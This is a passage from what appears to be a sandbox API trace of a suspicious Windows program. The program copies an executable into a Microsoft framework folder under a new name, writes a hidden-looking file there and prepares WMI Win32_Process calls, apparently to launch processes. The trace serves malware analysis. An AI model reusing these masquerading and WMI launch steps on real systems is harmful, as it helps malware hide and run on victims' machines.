Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", lpFilePart=0x0) returned 0x54 [0128.099] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0128.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", lpFilePart=0x0) returned 0x54 [0128.100] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe"), bFailIfExists=0) returned 1 [0128.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\dea609c9470f15", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\dea609c9470f15", lpFilePart=0x0) returned 0x58 [0128.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0128.261] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\dea609c9470f15" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\dea609c9470f15"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x348 [0128.262] GetFileType (hFile=0x348) returned 0x1 [0128.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0128.262] GetFileType (hFile=0x348) returned 0x1 [0128.262] WriteFile (in: hFile=0x348, lpBuffer=0x27b09d0*, nNumberOfBytesToWrite=0x1de, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x27b09d0*, lpNumberOfBytesWritten=0x1bb7e978*=0x1de, lpOverlapped=0x0) returned 1 [0128.263] CloseHandle (hObject=0x348) returned 1 [0128.265] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0128.265] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0128.266] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0128.266] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.268] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1aa0d4f0) returned 0x0 [0128.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d4f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0128.268] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d4f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a590) returned 0x0 [0128.269] WbemDefPath:IUnknown:Release (This=0x1aa0d4f0) returned 0x0 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a590) returned 0x0 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0128.269] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1aa0d530) returned 0x0 [0128.269] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d530, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.269] WbemDefPath:IUnknown:Release (This=0x1aa0d530) returned 0x3 [0128.269] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0128.269] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0128.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0128.269] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0128.270] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0128.270] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0128.270] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0128.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a590) returned 0x0 [0128.270] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0128.270] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0128.270] WbemDefPath:IWbemPath:SetText (This=0x1aa0a590, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a590, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0128.270] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a590, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0128.270] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0128.270] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0128.270] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0128.270] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.272] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1aa0d570) returned 0x0 [0128.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d570, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0128.272] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d570, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a650) returned 0x0 [0128.273] WbemDefPath:IUnknown:Release (This=0x1aa0d570) returned 0x0 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a650) returned 0x0 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0128.273] WbemDefPath:IUnknown:AddRef (This=0x1aa0a650) returned 0x3 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1aa0d5b0) returned 0x0 [0128.273] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d5b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.273] WbemDefPath:IUnknown:Release (This=0x1aa0d5b0) returned 0x3 [0128.273] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0128.273] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0128.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0128.273] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x2 [0128.273] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x1 [0128.273] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0128.274] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0128.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a650) returned 0x0 [0128.274] WbemDefPath:IUnknown:AddRef (This=0x1aa0a650) returned 0x3 [0128.274] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x2 [0128.274] WbemDefPath:IWbemPath:SetText (This=0x1aa0a650, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a650, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a650, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a650, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a650, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a650, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0128.274] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.274] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0128.274] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0128.274] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0128.274] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.276] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1aa0d5f0) returned 0x0 [0128.276] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d5f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0128.276] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d5f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0a710) returned 0x0 [0128.276] WbemDefPath:IUnknown:Release (This=0x1aa0d5f0) returned 0x0 [0128.276] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0a710) returned 0x0 [0128.276] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0128.277] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0128.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0128.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0128.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1aa0d630) returned 0x0 [0128.277] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.277] WbemDefPath:IUnknown:Release (This=0x1aa0d630) returned 0x3 [0128.277] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0128.277] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0128.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0128.277] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0128.277] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x1 [0128.277] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0128.277] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0128.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0a710) returned 0x0 [0128.277] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0128.277] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0128.277] WbemDefPath:IWbemPath:SetText (This=0x1aa0a710, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.277] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0128.277] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0128.277] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.277] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0128.278] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0128.278] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0128.278] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.278] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1aa0d730) returned 0x0 [0128.278] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d730, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, 